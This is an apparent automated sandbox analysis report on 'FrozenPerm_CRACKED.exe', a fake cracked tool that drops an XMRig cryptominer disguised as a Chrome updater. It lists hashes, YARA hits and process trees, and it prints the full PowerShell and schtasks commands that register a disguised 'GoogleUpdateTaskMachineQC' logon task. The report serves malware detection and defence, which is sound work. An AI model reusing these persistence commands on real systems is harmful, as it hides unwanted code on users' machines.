Analysis
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max time kernel
150s -
max time network
138s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
12-12-2024 08:41
Behavioral task
behavioral1
Sample
FrozenPerm_CRACKED.exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
FrozenPerm_CRACKED.exe
Resource
win10v2004-20241007-en
General
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Target
FrozenPerm_CRACKED.exe
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Size
64.8MB
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MD5
26500f10c8ceeae8d462d6a3086ab5d3
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SHA1
5a61e0551ff00378c3d633170b67403e50a9d425
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SHA256
a8c756a4059a6be18b3a44802403fd388d938ab33677e1a6032d1c6c7741ac0b
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SHA512
b1198bd575726753782e85334a1250a1fce770cad303941048801a0ac2e70ae680076535faf0c37e19644d561b3b9cc77407c23a358872e7d1c17893eecfcf09
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SSDEEP
786432:BYS6GKaTYIGiYk+KjotgDqanrcHJB5hOq29p2DrhUcVqttPemFt/W:NmijZpgHJnhOdGrKYmFt/W
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 2256 created 1188 2256 frozen spoofer.exe 21 PID 2256 created 1188 2256 frozen spoofer.exe 21 PID 1340 created 1188 1340 updater.exe 21 PID 1340 created 1188 1340 updater.exe 21 PID 1340 created 1188 1340 updater.exe 21 -
Xmrig family
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XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/1340-172-0x000000013FC40000-0x00000001434CE000-memory.dmp xmrig behavioral1/memory/1520-174-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-176-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-178-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-180-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-182-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-184-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-186-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-188-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-190-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-192-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig behavioral1/memory/1520-194-0x0000000140000000-0x00000001407EF000-memory.dmp xmrig -
Executes dropped EXE 5 IoCs
pid Process 2308 Built.exe 2256 frozen spoofer.exe 2668 Built.exe 1188 Explorer.EXE 1340 updater.exe -
Loads dropped DLL 11 IoCs
pid Process 1736 FrozenPerm_CRACKED.exe 1736 FrozenPerm_CRACKED.exe 2668 Built.exe 2668 Built.exe 2668 Built.exe 2668 Built.exe 2668 Built.exe 2668 Built.exe 2668 Built.exe 1188 Explorer.EXE 1256 taskeng.exe -
pid Process 1964 powershell.exe 2260 powershell.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1340 set thread context of 2644 1340 updater.exe 44 PID 1340 set thread context of 1520 1340 updater.exe 45 -
resource yara_rule behavioral1/files/0x000500000001950e-88.dat upx behavioral1/memory/2668-90-0x000007FEF5DB0000-0x000007FEF6471000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language FrozenPerm_CRACKED.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1476 schtasks.exe 308 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2256 frozen spoofer.exe 2256 frozen spoofer.exe 1964 powershell.exe 2256 frozen spoofer.exe 2256 frozen spoofer.exe 1340 updater.exe 1340 updater.exe 2260 powershell.exe 1340 updater.exe 1340 updater.exe 1340 updater.exe 1340 updater.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe 1520 explorer.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1964 powershell.exe Token: SeDebugPrivilege 2260 powershell.exe Token: SeLockMemoryPrivilege 1520 explorer.exe Token: SeLockMemoryPrivilege 1520 explorer.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 1736 wrote to memory of 2308 1736 FrozenPerm_CRACKED.exe 30 PID 1736 wrote to memory of 2308 1736 FrozenPerm_CRACKED.exe 30 PID 1736 wrote to memory of 2308 1736 FrozenPerm_CRACKED.exe 30 PID 1736 wrote to memory of 2308 1736 FrozenPerm_CRACKED.exe 30 PID 1736 wrote to memory of 2256 1736 FrozenPerm_CRACKED.exe 31 PID 1736 wrote to memory of 2256 1736 FrozenPerm_CRACKED.exe 31 PID 1736 wrote to memory of 2256 1736 FrozenPerm_CRACKED.exe 31 PID 1736 wrote to memory of 2256 1736 FrozenPerm_CRACKED.exe 31 PID 2308 wrote to memory of 2668 2308 Built.exe 32 PID 2308 wrote to memory of 2668 2308 Built.exe 32 PID 2308 wrote to memory of 2668 2308 Built.exe 32 PID 1964 wrote to memory of 1476 1964 powershell.exe 36 PID 1964 wrote to memory of 1476 1964 powershell.exe 36 PID 1964 wrote to memory of 1476 1964 powershell.exe 36 PID 1256 wrote to memory of 1340 1256 taskeng.exe 40 PID 1256 wrote to memory of 1340 1256 taskeng.exe 40 PID 1256 wrote to memory of 1340 1256 taskeng.exe 40 PID 2260 wrote to memory of 308 2260 powershell.exe 43 PID 2260 wrote to memory of 308 2260 powershell.exe 43 PID 2260 wrote to memory of 308 2260 powershell.exe 43 PID 1340 wrote to memory of 2644 1340 updater.exe 44 PID 1340 wrote to memory of 1520 1340 updater.exe 45 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1188 -
C:\Users\Admin\AppData\Local\Temp\FrozenPerm_CRACKED.exe"C:\Users\Admin\AppData\Local\Temp\FrozenPerm_CRACKED.exe"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Users\Admin\AppData\Roaming\Built.exe"C:\Users\Admin\AppData\Roaming\Built.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Users\Admin\AppData\Roaming\Built.exe"C:\Users\Admin\AppData\Roaming\Built.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2668
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C:\Users\Admin\AppData\Roaming\frozen spoofer.exe"C:\Users\Admin\AppData\Roaming\frozen spoofer.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2256
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#towjv#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'3⤵
- Scheduled Task/Job: Scheduled Task
PID:1476
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:3036
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#towjv#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'3⤵
- Scheduled Task/Job: Scheduled Task
PID:308
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:2644
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C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1520
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C:\Windows\system32\taskeng.exetaskeng.exe {D5CD21C1-6C9E-47BE-8BAE-3A6139DF2EF3} S-1-5-21-1163522206-1469769407-485553996-1000:PJCSDMRP\Admin:Interactive:[1]1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Users\Admin\Google\Chrome\updater.exeC:\Users\Admin\Google\Chrome\updater.exe2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1340
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
21KB
MD51c58526d681efe507deb8f1935c75487
SHA10e6d328faf3563f2aae029bc5f2272fb7a742672
SHA256ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2
SHA5128edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1
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Filesize
18KB
MD5bfffa7117fd9b1622c66d949bac3f1d7
SHA1402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2
SHA2561ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e
SHA512b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f
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Filesize
21KB
MD5724223109e49cb01d61d63a8be926b8f
SHA1072a4d01e01dbbab7281d9bd3add76f9a3c8b23b
SHA2564e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210
SHA51219b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c
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Filesize
21KB
MD5517eb9e2cb671ae49f99173d7f7ce43f
SHA14ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab
SHA25657cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54
SHA512492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be
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Filesize
21KB
MD5d12403ee11359259ba2b0706e5e5111c
SHA103cc7827a30fd1dee38665c0cc993b4b533ac138
SHA256f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781
SHA5129004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0
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Filesize
1.7MB
MD53c5c6c489c358149c970b3b2e562be5f
SHA12f1077db20405b0a176597ed34a10b4730af3ca9
SHA25673a22a12ea3d7f763ed2cea94bb877441f4134b40f043c400648d85565757741
SHA512d3fb4e5df409bf2de4f5dc5d02d806aee649a21c339c648248b835c3d5d66ab88312c076c149eaadaa3ce0fb43e6fa293bfa369d8876d6eb18742bd9d12448e3
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Filesize
992KB
MD50e0bac3d1dcc1833eae4e3e4cf83c4ef
SHA14189f4459c54e69c6d3155a82524bda7549a75a6
SHA2568a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae
SHA512a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD56bc353b7cde18db8717e5293f2213141
SHA1393295fc362a9a10ae0da486cb7d7f51738e1d06
SHA2569f5312c96a602175a030ac4223e4d8d92ec9f73c543c5e9ecc2b60749a1fd613
SHA5129cae44976797318be6d5730318cd5dae9f61e40e9ee00a541c5322e537eeb85404d5ae0338269af1c29dcbd1cc8ba274ebaa441e772a09b8c1a40b69af218149
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TIVM2JQ7U28D2RHO7NT9.temp
Filesize7KB
MD586b63602d129cde2603e6cdb58483720
SHA1692d9c4779eae7eeed07ddd6f636de2c405222e0
SHA2561b0fa7e721c90afecba9c51dcd35bd3921f9d0d31df9f039bd0624c4256aa450
SHA512c82a0fd638c4d341dd6ae178118f2256d22e81abd66f305f3ca69c68158ac1ca7b1640a4e823bc3b934f70490f433fdc68234878a049a3daa876b9d3332f8751
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Filesize
8.3MB
MD59ba3741598bd933a06c5efee63654e38
SHA18d564b1367612a85da81b77c9261a69ee8181102
SHA25661aeeb9c232c8045639c509f1e90aaedb12c92ece914d78afc26d6249e1624af
SHA5124f54f6cf20efac25388d9fcab19dd7d91906c47905588f3ca13581af5600c574d971f818e16bfc7393a4a3ddc7b81bdee528477006d2e5513251ed78e096d35d